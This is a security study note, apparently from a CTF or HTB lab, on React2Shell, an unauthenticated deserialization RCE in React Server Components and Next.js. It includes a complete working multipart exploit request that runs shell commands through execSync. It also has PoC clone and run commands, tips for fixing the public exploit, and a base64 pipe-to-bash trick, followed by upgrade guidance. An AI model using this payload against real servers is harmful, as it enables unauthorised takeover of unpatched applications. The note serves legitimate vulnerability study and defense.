🧠 React2Shell

Primary: 01 - Web Security

Secondary: 02 - Remote Code Execution

What is it?

  • Concept: React2Shell is the public nickname for CVE-2025-55182 (the upstream React advisory) and its downstream tracking ID CVE-2025-66478 (Next.js) — a critical (CVSS 10.0), unauthenticated, pre-auth Remote Code Execution vulnerability in React Server Components (RSC)‘s “Flight” wire protocol, the format RSC uses to serialize server-rendered component trees and Server Action calls between client and server. The root cause is an insecure deserialization flaw (CWE-502) inside the packages that implement Flight decoding: react-server-dom-webpack, react-server-dom-turbopack, and react-server-dom-parcel. Any framework built on these — most notably Next.js App Router — inherits it directly.
  • Impact: Full unauthenticated RCE from a single crafted HTTP request. No developer misconfiguration is required — a stock create-next-app build compiled for production is exploitable exactly as shipped.

How it works

Server Actions are functions written on the server but callable from client code as if they were local — the client invokes them by POSTing multipart/form-data to the page, tagged with a Next-Action header carrying the action’s ID, with the arguments serialized as JSON in Flight’s compact reference format ($1, $B1337, $@0, etc.).

When the server deserializes those attacker-supplied arguments, its own object-reconstruction logic doesn’t adequately restrict which keys can be set on the objects it builds — an attacker can smuggle a "__proto__" key into the graph, and the deserializer will actually write through it onto the real Object.prototype. This is a JavaScript - Prototype Pollution bug sitting inside the framework’s own core deserialization code, not a userland merge()/lodash-style utility — so there’s no “vulnerable dependency” to point at, and no application code has to do anything wrong.

The exploit chain then walks the now-polluted prototype to redirect a property lookup (_formData.get) onto Function.prototype.constructor — i.e. the Function constructor itself. That turns what looks like a harmless object property access into the ability to construct and immediately invoke an arbitrary function body, built from an attacker-controlled string. It’s functionally identical to a server-side eval(), and from there process.mainModule.require('child_process').execSync(...) runs arbitrary shell commands (see Node.js Inspector Protocol RCE for why process.mainModule.require specifically, rather than a bare require, is the reliable way to reach require from a context outside the normal module closure).

Exfiltrating the command’s output is the last trick: instead of returning it in a body the client can just read, the payload throws a fake Error('NEXT_REDIRECT') with the shell output stuffed into the error’s digest field. Next.js’s Server Actions error-handling path is specifically designed to let NEXT_REDIRECT “errors” escape all the way back to the client — that’s the literal mechanism the real redirect() helper uses internally — so the digest, and the attacker’s command output riding inside it, comes back for free.

Exploitation

Prerequisites

  • Next.js App Router: canary 14.3.0-canary.77 through stable 15.x/16.x, unpatched. Fixed in 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 (React fixed in 19.0.1 / 19.1.2 / 19.2.1).
  • No auth, no special app configuration — the RSC/Server Actions machinery itself is the vulnerable surface.

Attack Vector: Multipart Server Action deserialization RCE

POST / HTTP/1.1
Host: <target>
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
 
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
 
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
 
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
 
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

The Next-Action header’s value doesn’t need to correspond to a real action — its presence alone is enough to route the request into the vulnerable RSC deserialization path.

PoC Tooling

Scanner + exploit: jensnesten/React2Shell-PoC — scanner.py (by Assetnote) detects the bug via a side-channel or RCE-confirmation check; main.py executes arbitrary commands directly over a raw socket.

git clone https://github.com/jensnesten/React2Shell-PoC.git
cd React2Shell-PoC
python3 scanner.py -u http://target:PORT -p PORT
python3 main.py http://target:PORT 'id'

Known issues in the PoC

  • scanner.py’s -p/--port flag defaults to 443 and its normalize_host() helper silently overrides any port already present in -u’s URL with that default — always pass -p <real_port> explicitly, or a live target on a non-443 port comes back as a false negative.
  • main.py interpolates the command directly into the JSON payload with no escaping. Commands containing " or ' break the JSON/JS string literal and corrupt the payload — the server throws its own internal error instead, and the resulting opaque numeric error digest can look deceptively like real output. Base64-encode the command and decode+exec it server-side instead: echo <b64>|base64 -d|bash.

Mitigation

  • Upgrade Next.js to a patched release (15.0.5+ / 15.5.7+ / 16.0.7+) and React to 19.0.1 / 19.1.2 / 19.2.1.
  • Because the bug lives inside the framework’s own RSC deserialization code, no amount of application-level input validation meaningfully defends against it — upgrading is the only real fix.
  • If immediate upgrade isn’t possible, front the app with a WAF/CDN capable of virtual patching — noting that WAF-bypass payload variants (junk multipart padding, alternate gadget chains) are already public.
FileCreated
HTB Machine - ReactorTuesday, July 28th 2026, 1:31:08 am

References: